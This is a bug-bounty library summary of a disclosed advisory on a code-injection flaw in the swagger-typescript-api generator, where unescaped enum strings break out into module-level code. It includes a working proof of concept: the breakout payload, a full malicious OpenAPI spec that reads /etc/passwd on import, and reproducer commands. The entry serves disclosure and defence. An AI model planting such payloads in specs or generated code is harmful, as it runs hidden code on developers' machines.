# swagger-typescript-api vulnerable to code injection via unescaped enum string values

Unescaped enum values in swagger-typescript-api generated TypeScript let a malicious OpenAPI spec inject an IIFE that runs on import of the generated client.

- Payout: Research
- Severity: high
- Program: swagger-typescript-api
- Found by: thegr1ffyn
- Disclosed: 2026-07-29
- CVE: CVE-2026-54664
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-5f94-x226-ccpm
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-5f94-x226-ccpm
- Tags: area:oss domain:oss impact:data-leak impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:rce

**Target:** OpenAPI code generator (npm CLI/library) and its generated TypeScript enum output
**Root cause:** Ts.StringValue in src/configuration.ts wraps values as `"${content}"` with no escaping, so an enum string containing `"` closes the literal and the template interpolates it raw into the enum body.
**Steps:**
1. Craft an OpenAPI spec whose components.schemas.Color.enum contains `blue";}\n{(async()=>{...})();//`
2. Run `generateApi` (or `sta generate --url <attacker spec>`) against it to produce out/Api.ts
3. Observe generated enum: `Blue... = "blue";}` then a bare block `{(async()=>{...})();//"` at module top level
4. Bundle with esbuild and bare-import the module: `await import('./out/Api.bundle.mjs')`
5. IIFE fires at module load, reading /etc/passwd into /tmp/sta_canary
**How found:** Code review of the generator's string formatting: noticed Ts.StringValue does zero escaping and that the only escape helper (escapeJSDocContent) is never applied on the enum path; then checked which call sites land in runtime vs type-level positions and found the enum body is a runtime sink.
**Exploitation:** Attacker hosts or contributes a malicious OpenAPI spec; victim runs the generator and any consumer imports the generated module (no instantiation or method call needed), executing the IIFE with the importing process's privileges to read/write files and exfiltrate secrets.
**Escalation:** Payload placed in enum value reaches module top level via `;}` closing the enum and `{` opening a bare block; trailing `//` comments out the appended quote so the template's closing brace terminates the block, yielding valid TypeScript that bundles cleanly.
**Insight:** In code generators, trace every user-controlled schema value to the template sink and check whether the sink is a runtime position (enum bodies, default values, decorators) versus type-level; a single unescaped quote wrapper like `"${content}"` is enough for breakout, and `;}` + bare block + `//` is a reliable TypeScript escape shape.

## Proof of concept (copied exactly from the original report)

**Malicious enum value payload string**

```
blue";}<NEWLINE>{(async()=>{ try { const fs=await import('node:fs'); const d=fs.readFileSync('/etc/passwd','utf8'); fs.writeFileSync('/tmp/sta_canary',d); } catch(e){} })();//
```

**Minimal payload OpenAPI spec JSON**

```
{
  "openapi": "3.0.0",
  "info": { "title": "EnumPayloadAPI", "version": "1.0.0" },
  "components": {
    "schemas": {
      "Color": {
        "type": "string",
        "enum": [
          "red",
          "blue\";}\n{(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//"
        ]
      }
    }
  },
  "paths": {
    "/ping": {
      "get": {
        "operationId": "ping",
        "responses": {
          "200": {
            "description": "OK",
            "content": { "application/json": { "schema": { "$ref": "#/components/schemas/Color" } } }
          }
        }
      }
    }
  }
```

**Reproducer commands generating, bundling, importing**

```
npm install swagger-typescript-api@13.12.1 esbuild
node -e "import('swagger-typescript-api').then(m => m.generateApi({
  name: 'Api.ts', output: process.cwd() + '/out',
  input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
  --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "await import('./out/Api.bundle.mjs'); await new Promise(r => setTimeout(r, 300));"
ls -la /tmp/sta_canary && cat /tmp/sta_canary
```

